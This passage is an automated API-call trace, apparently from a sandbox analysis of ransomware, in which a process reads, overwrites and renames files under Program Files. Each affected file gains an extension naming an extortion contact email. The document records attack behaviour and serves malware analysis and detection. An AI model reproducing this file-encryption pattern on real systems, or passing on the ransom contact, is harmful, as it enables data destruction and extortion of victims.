Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0257.442] GetProcessHeap () returned 0x630000 [0257.442] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1441) returned 0x725d018 [0257.442] GetProcessHeap () returned 0x630000 [0257.442] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1441) returned 0x71aa040 [0257.442] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.442] ReadFile (in: hFile=0x4e8, lpBuffer=0x725d018, nNumberOfBytesToRead=0x1420, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d018*, lpNumberOfBytesRead=0x3f7ff0c*=0x1420, lpOverlapped=0x0) returned 1 [0257.463] GetProcessHeap () returned 0x630000 [0257.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0257.463] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.463] WriteFile (in: hFile=0x4e8, lpBuffer=0x71aa040*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa040*, lpNumberOfBytesWritten=0x3f7ff0c*=0x1420, lpOverlapped=0x0) returned 1 [0257.464] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.464] WriteFile (in: hFile=0x4e8, lpBuffer=0x71ab45f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ab45f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.468] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.468] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.468] CloseHandle (hObject=0x4e8) returned 1 [0257.468] GetProcessHeap () returned 0x630000 [0257.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0257.468] GetProcessHeap () returned 0x630000 [0257.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d018 | out: hHeap=0x630000) returned 1 [0257.468] GetProcessHeap () returned 0x630000 [0257.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0257.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f69778c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x145f, dwReserved0=0xcd87496, dwReserved1=0x725d010, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0257.469] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0257.469] Sleep (dwMilliseconds=0x1) [0257.493] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG", len=0x6c | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG") returned 1 [0257.493] GetProcessHeap () returned 0x630000 [0257.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc0) returned 0x6fe3bb0 [0257.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0257.494] CloseHandle (hObject=0x6d8) returned 1 [0257.494] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.598] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0257.598] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0257.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0257.598] GetProcessHeap () returned 0x630000 [0257.598] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6741) returned 0x70e8d40 [0257.599] GetProcessHeap () returned 0x630000 [0257.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6741) returned 0x74a1158 [0257.599] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.599] ReadFile (in: hFile=0x5ec, lpBuffer=0x70e8d40, nNumberOfBytesToRead=0x6720, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e8d40*, lpNumberOfBytesRead=0x3f7ff0c*=0x6720, lpOverlapped=0x0) returned 1 [0260.231] GetProcessHeap () returned 0x630000 [0260.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0260.232] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.232] WriteFile (in: hFile=0x5ec, lpBuffer=0x74a1158*, nNumberOfBytesToWrite=0x6720, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a1158*, lpNumberOfBytesWritten=0x3f7ff0c*=0x6720, lpOverlapped=0x0) returned 1 [0260.233] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.233] WriteFile (in: hFile=0x5ec, lpBuffer=0x74a7877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a7877*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0260.233] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.233] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0260.233] CloseHandle (hObject=0x5ec) returned 1 [0260.234] GetProcessHeap () returned 0x630000 [0260.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a1158 | out: hHeap=0x630000) returned 1 [0261.063] GetProcessHeap () returned 0x630000 [0261.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e8d40 | out: hHeap=0x630000) returned 1 [0261.063] GetProcessHeap () returned 0x630000 [0261.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0261.259] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6110209a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6746, dwReserved0=0xcd87496, dwReserved1=0x70e8d38, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0261.260] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0261.260] Sleep (dwMilliseconds=0x1) [0261.268] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_SplashScreen.scale-200.png", len=0x82 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_SplashScreen.scale-200.png") returned 1 [0261.268] GetProcessHeap () returned 0x630000 [0261.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e50) returned 0x6fe3bb0 [0261.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_splashscreen.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.269] Sleep (dwMilliseconds=0x1) [0261.279] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd", len=0x6b | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd") returned 1 [0261.279] GetProcessHeap () returned 0x630000 [0261.279] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e80) returned 0x6fe3bb0 [0261.279] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.279] Sleep (dwMilliseconds=0x1) [0261.299] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc", len=0x61 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc") returned 1 [0261.299] GetProcessHeap () returned 0x630000 [0261.299] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e94) returned 0x6fe3bb0 [0261.299] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\1.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\1.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.891] Sleep (dwMilliseconds=0x1) [0263.894] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\167.png", len=0x7a | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\167.png") returned 1 [0263.894] GetProcessHeap () returned 0x630000 [0263.894] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb0) returned 0x6fe3bb0 [0263.894] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\167.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\167.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.898] Sleep (dwMilliseconds=0x1) [0264.669] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd", len=0x60 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd") returned 1 [0264.670] GetProcessHeap () returned 0x630000 [0264.670] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d04) returned 0x6fe3bb0 [0264.670] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsApp.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callsapp.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.684] Sleep (dwMilliseconds=0x1) [0266.464] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG", len=0x60 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 1 [0266.464] GetProcessHeap () returned 0x630000 [0266.464] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b98) returned 0x6fe3bb0 [0266.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0266.486] CloseHandle (hObject=0x6f4) returned 1 [0266.486] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.jpg.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb950d65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x72006f, dwReserved1=0x400074, cFileName="MS.JPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJPGI~1.FIR")) returned 0x6d5380 [0266.515] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0266.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.jpg.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0266.515] GetProcessHeap () returned 0x630000 [0266.515] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x441) returned 0x699eb0 [0266.515] GetProcessHeap () returned 0x630000 [0266.515] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x441) returned 0x7149800 [0266.515] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.516] ReadFile (in: hFile=0x6f4, lpBuffer=0x699eb0, nNumberOfBytesToRead=0x420, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699eb0*, lpNumberOfBytesRead=0x3f7ff0c*=0x420, lpOverlapped=0x0) returned 1 [0266.521] GetProcessHeap () returned 0x630000 [0266.521] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0266.521] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.521] WriteFile (in: hFile=0x6f4, lpBuffer=0x7149800*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149800*, lpNumberOfBytesWritten=0x3f7ff0c*=0x420, lpOverlapped=0x0) returned 1 [0266.521] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.521] WriteFile (in: hFile=0x6f4, lpBuffer=0x7149c1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7149c1f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.521] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.521] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.522] CloseHandle (hObject=0x6f4) returned 1 [0266.522] GetProcessHeap () returned 0x630000 [0266.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7149800 | out: hHeap=0x630000) returned 1 [0266.522] GetProcessHeap () returned 0x630000 [0266.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699eb0 | out: hHeap=0x630000) returned 1 [0266.522] GetProcessHeap () returned 0x630000 [0266.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0266.522] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64cea19d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0xcd87496, dwReserved1=0x699ea8, cFileName="MS.JPG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSJPGI~1.FIR")) returned 0x6d4ec0 [0266.522] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0266.522] Sleep (dwMilliseconds=0x1) [0266.529] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", len=0x66 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 1 [0266.530] GetProcessHeap () returned 0x630000 [0266.530] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b8c) returned 0x6fe3bb0 [0266.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0266.531] CloseHandle (hObject=0x6f4) returned 1 [0266.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\jpegim32.flt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: 